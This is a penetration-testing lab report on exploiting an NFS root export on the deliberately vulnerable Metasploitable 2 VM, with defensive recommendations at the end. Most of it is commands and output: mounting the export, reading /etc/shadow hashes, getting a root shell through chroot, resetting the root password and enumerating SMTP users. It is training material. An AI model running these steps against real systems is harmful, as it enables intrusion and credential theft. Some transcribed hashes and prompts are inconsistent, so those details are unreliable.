

NFS Enumeration to Exploitation

Metasploitable 2 - Penetration Testing Lab Report

Prepared by:

Ayman Abdelmonsef

Date: May 24, 2026

Overview

This report documents a complete NFS (Network File System) enumeration and exploitation walkthrough against Metasploitable 2, an intentionally vulnerable Linux virtual machine used for security training. The attack chain covers host discovery, service scanning, NFS share enumeration, filesystem mounting, sensitive file access, privilege escalation via chroot, and credential manipulation.

Target Machine:

- IP Address: 192.168.147.131
- OS: Ubuntu 8.04 (Metasploitable 2)
- MAC: 00:0C:29:FA:DD:2A (VMware)

Attacker Machine:

- User: ayman@ayman
 - Tool Suite: Nmap, showmount, mount, chroot
-

Step 1: Host Discovery with netdiscover / ARP Scan

Before targeting a specific host, we need to identify live machines on the local subnet. The attacker uses ARP-based scanning to find active hosts, then initiates an Nmap service scan against the discovered target IP.

Command:

```
nmap -sVC -T4 192.168.147.131
```

What this does:

- -sVC: Combines service/version detection (-sV) and default script scanning (-sC)
- -T4: Uses aggressive timing for faster scan results

- Identifies the target as 192.168.147.131 with MAC 00:0C:29:FA:DD:2A (VMware)

```
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
+-----+-----+-----+-----+-----+-----+
| IP           | At MAC Address | Count | Len | MAC Vendor / Hostname |
+-----+-----+-----+-----+-----+-----+
| 192.168.147.1 | 00:50:56:c0:00:08 | 1     | 60  | VMware, Inc.          |
| 192.168.147.2 | 00:50:56:ff:ee:8c | 1     | 60  | VMware, Inc.          |
| 192.168.147.131 | 00:0c:29:fa:dd:2a | 1     | 60  | VMware, Inc.          |
| 192.168.147.254 | 00:50:56:f2:79:5f | 1     | 60  | VMware, Inc.          |
+-----+-----+-----+-----+-----+-----+

(ayman@ayman)-[~]
$ nmap -sVC -T4 192.168.147.131
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-24 16:05 +0300
```

Figure 1: ARP scan results showing 4 live hosts; Nmap initiated against target 192.168.147.131

Step 2: Nmap Full Service Enumeration

The full Nmap scan reveals a wide range of open services on the target. Key findings include NFS (port 2049), RPC portmapper (port 111), Samba, HTTP, SMTP, and more. The rpcinfo output confirms that the NFS daemon is active and accepting connections.

Key Services Discovered:

- Port 111/tcp - rpcbind 2 (RPC #100000)
- Port 2049/tcp - nfs 2-4 (RPC #100003)
- Port 100005 - mountd (versions 1,2,3)
- Port 80/tcp - Apache httpd 2.2.8 (Metasploitable2 - Linux)
- Port 53/tcp - ISC BIND 9.4.2
- Port 25/tcp - Postfix smtpd

```
23/tcp open telnet      Linux telnetd
25/tcp open smtp        Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvi
outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ssl-date: 2026-05-24T13:05:42+00:00; +6s from scanner time.
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
DSN
53/tcp open domain      ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind     2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000    2                    111/tcp    rpcbind
|   100000    2                    111/udp    rpcbind
|   100003    2,3,4               2049/tcp   nfs
|   100003    2,3,4               2049/udp   nfs
|   100005    1,2,3               46215/udp  mountd
|   100005    1,2,3               51287/tcp  mountd
```

Figure 2: Nmap scan output showing open services including rpcinfo revealing NFS on port 2049

```
2049/tcp open  nfs      2-4 (RPC #100003)
```

Figure 3: Close-up confirming port 2049/tcp open as nfs version 2-4 (RPC #100003)

Step 3: NFS-Specific Nmap Script Scan

With NFS confirmed on port 2049, a targeted Nmap scan is run using the nfs* NSE scripts. These scripts enumerate exported shares, show file listings, mount points, and filesystem statistics — all critical for assessing attack surface.

Command:

```
nmap -sV -p 2049,111 --script nfs* 192.168.147.131
```

Script Output Highlights:

- nfs-ls: The root filesystem "/" is exported and accessible

- nfs-showmount: Export list shows / * (exported to everyone)
- nfs-statfs: Filesystem size ~7.28 GB with 5.44 GB available
- Key directories visible: /bin, /home, /etc, /sbin, /usr, /mnt

```
(ayman@ayman)-[~]
$ nmap -sV -p 2049,111 --script nfs* 192.168.147.131
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-24 16:12 +0300
Nmap scan report for 192.168.147.131
Host is up (0.00041s latency).

PORT      STATE SERVICE VERSION
111/tcp    open  rpcbind 2 (RPC #100000)
| nfs-ls: Volume /
|   access: Read Lookup Modify Extend Delete NoExecute
| PERMISSION  UID   GID   SIZE   TIME                               FILENAME
| drwxr-xr-x   0    0    4096   2012-05-14T03:35:33   bin
| drwxr-xr-x   0    0    4096   2010-04-16T06:16:02   home
| drwxr-xr-x   0    0    4096   2010-03-16T22:57:40   initrd
| lrwxrwxrwx   0    0     32   2010-04-28T20:26:18   initrd.img
| drwxr-xr-x   0    0    4096   2012-05-14T03:35:22   lib
| drwx-----  0    0   16384  2010-03-16T22:55:15   lost+found
| drwxr-xr-x   0    0    4096   2010-03-16T22:55:52   media
| drwxr-xr-x   0    0    4096   2010-04-28T20:16:56   mnt
| drwxr-xr-x   0    0    4096   2012-05-14T01:54:53   sbin
| drwxr-xr-x   0    0    4096   2010-04-28T04:06:37   usr
|_
| nfs-showmount:
|_ / *
| nfs-statfs:
| Filesystem  1K-blocks  Used      Available  Use%  Maxfilesize  Maxlink
|_ /          7282168.0  1477888.0  5437280.0  22%   2.0T         32000
```

Figure 4: Nmap NFS scripts reveal the root filesystem "/" is exported with full read access

Step 4: Showmount Enumeration

The showmount tool queries the target's NFS mountd service to list all exported directories. The output confirms that the entire root filesystem "/" is exported with a wildcard (*), meaning any host on the network can mount it without authentication.

Command:

```
showmount -e 192.168.147.131
```

Output:

```
Export list for 192.168.147.131:
/ *
```

This is a critical misconfiguration: the root filesystem exported to all (*) is one of the most severe NFS vulnerabilities. It allows any attacker to mount and read/write the target's entire filesystem.

```
|_ rpcinfo:
|  program version    port/proto  service
|  100000    2              111/tcp    rpcbind
|  100000    2              111/udp    rpcbind
|  100003    2,3,4          2049/tcp   nfs
|  100003    2,3,4          2049/udp   nfs
|  100005    1,2,3          46215/udp  mountd
|  100005    1,2,3          51287/tcp  mountd
|  100021    1,3,4          44613/tcp  nlockmgr
|  100021    1,3,4          51206/udp  nlockmgr
|  100024    1              42464/tcp  status
|  100024    1              43013/udp  status
|_ 2049/tcp open  nfs      2-4 (RPC #100003)
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.06 seconds

(ayman@ayman)-[~]
$ showmount -e 192.168.147.131
Export list for 192.168.147.131:
/ *
```

Figure 5: showmount confirms "/" is exported to all hosts — no authentication required

Step 5: Mounting the NFS Share

The attacker mounts the exposed NFS share to a local directory. First, a mount point is created, then the NFS root filesystem is mounted locally. An initial attempt with a home directory path fails, so the mount is redirected to /mnt/metasploitable2.

Commands:

```
sudo mkdir -p /mnt/metasploitable2
sudo mount -t nfs 192.168.147.131:/ /mnt/metasploitable2
```

After mounting, listing the directory reveals the complete Metasploitable 2 filesystem:

- Directories visible: /bin, /boot, /dev, /etc, /home, /lib, /usr, /var, /tmp
- The /tmp directory appears writable (drwxrwxrwt permissions)
- Full ownership info shows everything is owned by root (uid=0, gid=0)


```

(ayman@ayman)-[~]
$ sudo mkdir -p /mnt/metasploitable2

(ayman@ayman)-[~]
$ sudo mount -t nfs 192.168.147.131:/ /home/ayman/mnt/metasploitable2
mount.nfs: mount point /home/ayman/mnt/metasploitable2 does not exist

(ayman@ayman)-[~]
$ sudo mount -t nfs 192.168.147.131:/ /mnt/metasploitable2

(ayman@ayman)-[~]
$ ls -l /mnt/metasploitable2
total 96
drwxr-xr-x  2 root root  4096 May 14  2012 bin
drwxr-xr-x  3 root root  4096 Apr 28  2010 boot
lrwxrwxrwx  1 root root    11 Apr 28  2010 cdrom -> media/cdrom
drwxr-xr-x  2 root root  4096 Apr 28  2010 dev
drwxr-xr-x 94 root root  4096 May 24 16:15 etc
drwxr-xr-x  6 root root  4096 Apr 16  2010 home
drwxr-xr-x  2 root root  4096 Mar 17  2010 initrd
lrwxrwxrwx  1 root root    32 Apr 28  2010 initrd.img -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root  4096 May 14  2012 lib
drwx----- 2 root root 16384 Mar 17  2010 lost+found
drwxr-xr-x  4 root root  4096 Mar 17  2010 media
drwxr-xr-x  3 root root  4096 Apr 28  2010 mnt
-rw----- 1 root root 5821 May 24 16:02 nohup.out
drwxr-xr-x  2 root root  4096 Mar 17  2010 opt
dr-xr-xr-x  2 root root  4096 Apr 28  2010 proc
drwxr-xr-x 13 root root  4096 May 24 16:02 root
drwxr-xr-x  2 root root  4096 May 14  2012/sbin
drwxr-xr-x  2 root root  4096 Mar 17  2010/srv
drwxr-xr-x  2 root root  4096 Apr 28  2010/sys
drwxrwxrwt  4 root root  4096 May 24 16:05 tmp
drwxr-xr-x 12 root root  4096 Apr 28  2010/usr
drwxr-xr-x 14 root root  4096 Mar 17  2010/var
lrwxrwxrwx  1 root root    29 Apr 28  2010/vmlinuz -> boot/vmlinuz-2.6.24-16-server

```

Figure 6: NFS share mounted at /mnt/metasploitable2 — full root filesystem accessible locally

Step 6: Accessing the Shadow File

With the filesystem mounted, the attacker navigates to /mnt/metasploitable2 and reads the /etc/shadow file. This file contains password hashes for all system users. Normally this file is readable only by root, but since the NFS export grants unrestricted access, it can be read directly.

Commands:

```

sudo chmod +r ./etc/shadow
cat ./etc/shadow

```

Critical Information Retrieved:

- root password hash: \$1\$/avpfBJ1\$x0z8w5UF9lv./DR9E9Lid. (MD5 crypt)
- service accounts: bin, daemon, sys, sync, games, man, lp, mail, news, etc.
- msfadmin hash: \$1\$XN10Zj2c\$Rt/zzCW3mLtUWA.ihZjA5/
- sshd, klog, syslog — all accounts with hashed credentials visible

```
(ayman@ ayman)-[/mnt/metasploitable2]
$ sudo chmod +r ./etc/shadow

(ayman@ ayman)-[/mnt/metasploitable2]
$ cat ./etc/shadow
root:$1$/avpf8J1$X0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX68P0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
```

Figure 7: /etc/shadow read successfully — root and all user password hashes exposed

Step 7: Chroot to Gain Root Shell

Using the chroot technique, the attacker changes the root directory to the mounted NFS filesystem and spawns a root shell. This effectively gives the attacker a local root shell operating inside the target's filesystem — without any remote exploit or authentication.

Command:

```
sudo chroot /mnt/metasploitable2 /bin/bash
```

Inside the Chroot Environment:

- whoami returns: root
- ifconfig is accessible and shows network info
- cat /etc/passwd shows all user accounts in the target system
- msfadmin account visible with UID 1000, home /home/msfadmin, shell /bin/bash

The /etc/passwd file confirms:

- root:x:0:0:root:/root:/bin/bash — root account fully accessible
- bind, postfix, ftp, telnetd — service accounts visible
- msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

```
(ayman@ayman)-[/mnt/metasploitable2]
$ sudo chroot /mnt/metasploitable2 /bin/bash

root@ayman:/# whoami
root
root@ayman:/# ifconfig
Warning: cannot open /proc/net/dev (No such file or directory). Limited output.
root@ayman:/# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
```

Figure 8: chroot into mounted NFS — whoami returns root; /etc/passwd fully visible

Step 8: Changing the Root Password

Within the chroot root shell, the attacker runs the passwd command to change the root user's password on the target system. Because the attacker is operating within the target's filesystem context as root, this change is persistent on the Metasploitable 2 machine.

Command:

```
passwd
```

The command prompts for a new UNIX password twice, and upon confirmation outputs:

```
passwd: password updated successfully
```

This means the attacker has now set a known password for the root account on the target system, enabling direct root login via SSH, Telnet, or the console.

```
passwd: unknown user 1134
root@ayman:/# passwd
Enter new UNIX password: 08-1... ferrox-http... linux-priv
Retype new UNIX password:
passwd: password updated successfully
root@ayman:/#
```

Figure 9: Root password changed successfully on the target system via chroot

Step 9: Logging in as Root via Console

With the root password now changed to a known value, the attacker logs in directly to the Metasploitable 2 console (or via SSH/Telnet) as root. The login succeeds immediately, confirming full system compromise.

Login Confirmation:

- Username: root
- Password: (newly set password)
- Shell prompt: root@metasploitable:~#
- Kernel: Linux metasploitable 2.6.24-16-server

The attacker now has an interactive root shell directly on the Metasploitable 2 machine — full system compromise achieved.

```
metasploitable login: root
Password:
Last login: Sun May 24 09:02:36 EDT 2026 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~#
```

Figure 10: Successful root login to Metasploitable 2 — full system access confirmed

Bonus: SMTP User Enumeration via VRFY

From within the mounted NFS filesystem directory, the attacker also performs SMTP enumeration. An Nmap scan of port 25 reveals the SMTP service is Postfix, and using netcat the VRFY command is used to confirm valid usernames on the system.

Commands:

```
nmap -sV -p 25 --script smtp* 192.168.147.131
nc 192.168.147.131 25
VRFY root
VRFY msfadmin
```

VERFY Results:

- VRFY admin → 550 5.1.1 <admin>: Recipient address rejected (user does not exist)
- VRFY root → 252 2.0.0 root (valid user confirmed)
- VRFY msfadmin → 252 2.0.0 msfadmin (valid user confirmed)

The VRFY command allows an attacker to validate whether a username exists on the mail server, which can assist in credential stuffing or targeted brute-force attacks.

```
(ayman@ayman)-[/mnt/metasploitable2]
$ nmap -sV -p 25 --script smtp* 192.168.147.131
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-24 17:49 +0300
Nmap scan report for 192.168.147.131
Host is up (0.00037s latency).

PORT      STATE SERVICE VERSION
25/tcp    open  smtp    Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCED
, DSN
| smtp-vuln-cve2010-4344:
|_ The SMTP server is not Exim: NOT VULNERABLE
| smtp-enum-users:
|_ Method RCPT returned a unhandled status code.
|_smtp-open-relay: Server doesn't seem to be an open relay, all tests failed
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Host: metasploitable.localdomain

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.30 seconds

(ayman@ayman)-[/mnt/metasploitable2]
$ nc 192.168.147.131 25
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
VRFY admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table
VRFY root
252 2.0.0 root
VRFY msfadmin
252 2.0.0 msfadmin
```

Figure 11: SMTP VRFY confirms root and msfadmin as valid accounts on the target system

Attack Summary & Findings

The following table summarizes the attack chain executed against Metasploitable 2:

Step 1 — Host Discovery:

ARP/Nmap scan reveals 192.168.147.131 as a live VMware host on the local subnet.

Step 2 — Service Enumeration:

Full Nmap service scan reveals NFS (2049), RPC (111), HTTP (80), SMTP (25), and many other vulnerable services.

Step 3 — NFS Script Scan:

Nmap NFS scripts reveal the entire root "/" filesystem is exported to all (*) with no authentication.

Step 4 — showmount Confirmation:

showmount -e confirms the misconfigured export: / * (root to everyone).

Step 5 — NFS Mount:

The attacker mounts the target filesystem locally at /mnt/metasploitable2.

Step 6 — Shadow File Access:

The /etc/shadow file is read, exposing MD5-hashed passwords for root and all users.

Step 7 — Chroot Root Shell:

chroot /mnt/metasploitable2 /bin/bash grants a local root shell inside the target filesystem.

Step 8 — Password Change:

The root password is changed to a known value using passwd within the chroot shell.

Step 9 — Direct Root Login:

Root login to Metasploitable 2 succeeds. Full system compromise confirmed.

Bonus — SMTP VRFY:

SMTP VRFY command enumerates valid users: root and msfadmin confirmed.

Security Recommendations

1. Never export the root filesystem "/" in /etc/exports. Restrict exports to specific directories required for legitimate use.
2. Use NFS access controls: restrict exports to specific trusted IP addresses, not wildcards (*).
3. Enable NFS authentication mechanisms such as Kerberos (sec=krb5) for enterprise environments.
4. Apply firewall rules to restrict NFS ports (111, 2049, mountd) to trusted network segments only.
5. Disable the SMTP VRFY command in Postfix by adding "disable_vrfy_command = yes" to main.cf.
6. Regularly audit /etc/exports and running NFS services using showmount and rpcinfo.
7. Keep the system updated to patch known NFS and kernel vulnerabilities.

Report prepared by Ayman Abdelmonsef | Metasploitable 2 NFS Lab | May 2026